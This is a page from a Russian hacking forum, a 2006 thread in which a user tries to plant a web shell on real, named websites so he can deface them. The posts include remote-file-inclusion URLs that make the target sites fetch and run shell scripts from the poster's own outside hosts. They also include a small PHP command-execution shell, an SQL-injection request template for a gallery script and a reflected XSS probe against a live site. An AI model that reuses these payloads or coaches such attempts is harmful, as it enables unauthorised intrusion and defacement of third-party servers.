HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
Перезагрузить страницу Вопрос по shell
   
Ответ
Страница 1 из 3 1 2 3 >
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по shell
  #1  
Старый 03.09.2006, 13:56
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию Вопрос по shell
Никак не получаеться шелл залить,вернее получаеться но както криво,вроде заливка идёт,но ничего не происходит
вот ссылка http://df.md/index.php?act=http://arry1.narod.ru/shell
или http://df.md/index.php?act=http://fordestroy.narod.ru/r57shel,
а если можно и тутор дайте,хочу Дефес зделать вот ..всё вродеб...
спс заранее.
 
Ответить с цитированием

  #2  
Старый 03.09.2006, 13:58
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
Ps юзал поиск не нарыл ничего,щас в видео бибиотеке гляну.
 
Ответить с цитированием

  #3  
Старый 03.09.2006, 14:08
SMiX
Участник форума
Регистрация: 25.07.2005
Сообщений: 246
Провел на форуме:
457850

Репутация: 174
По умолчанию
Не грузится у меня чет ни df.md, ни твои сайты на народе...
 
Ответить с цитированием

  #4  
Старый 03.09.2006, 14:12
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
странно.... http://www.df.md
 
Ответить с цитированием

  #5  
Старый 03.09.2006, 14:12
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию
Если с шеллом не получится попробуй SQL-запрос выполнить в галерее

PHP код:
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1
Host: адрес сайта
User-Agent: ’sql commands
Keep-Alive: 300
Cookie: твоя сессия 
 
Ответить с цитированием

  #6  
Старый 03.09.2006, 14:18
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
Цитата:
Сообщение от gemaglabin  
Если с шеллом не получится попробуй SQL-запрос выполнить в галерее

PHP код:
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1
Host: адрес сайта
User-Agent: ’sql commands
Keep-Alive: 300
Cookie: твоя сессия 
неа не вышло...но спс за поддержку +1 тебе)
 
Ответить с цитированием

  #7  
Старый 03.09.2006, 14:14
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
мммм.....http://arry1.narod.ru/shell.php разве не грузиться?
 
Ответить с цитированием

  #8  
Старый 03.09.2006, 14:20
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
слуш как проверить валидность шела?этого http://arry1.narod.ru/shell
просо думал пчп иньекцию,а потом радмином...
 
Ответить с цитированием

  #9  
Старый 03.09.2006, 16:44
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
Провел на форуме:
3895065

Репутация: 1112
По умолчанию
вот ещё нарыл, http://www.grailcoat.com/index.php?p=12 следвательно => http://www.grailcoat.com/index.php?p=http://arry1.narod.ru/1.txt&c=ls%20-l
где 1.тхт :
Цитата:
<?
if (!empty($_GET['c'])) {
echo '<pre>';
system($_GET['c']};
echo '</pre>';
}
exit;
?>
а пишет "parse error" в чём ошибка?
 
Ответить с цитированием

  #10  
Старый 03.09.2006, 17:00
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию
Цитата:
Сообщение от IIAHbI4  
вот ещё нарыл, http://www.grailcoat.com/index.php?p=12 следвательно => http://www.grailcoat.com/index.php?p=http://arry1.narod.ru/1.txt&c=ls%20-l


а пишет "parse error" в чём ошибка?
Да нифига не следовательно!
смотри: http://www.grailcoat.com/index.php?p=%3Cscript%3Ealert()%3C/script%3E
выскакивает алерт, это пасивная xss а ты туда просто ссылку вставляеш! так ничего не получиться!
Последний раз редактировалось nc.STRIEM; 03.09.2006 в 17:54..
 
Ответить с цитированием
Ответ
Страница 1 из 3 1 2 3 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос... Black_Death Болталка 1 05.01.2005 04:56



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.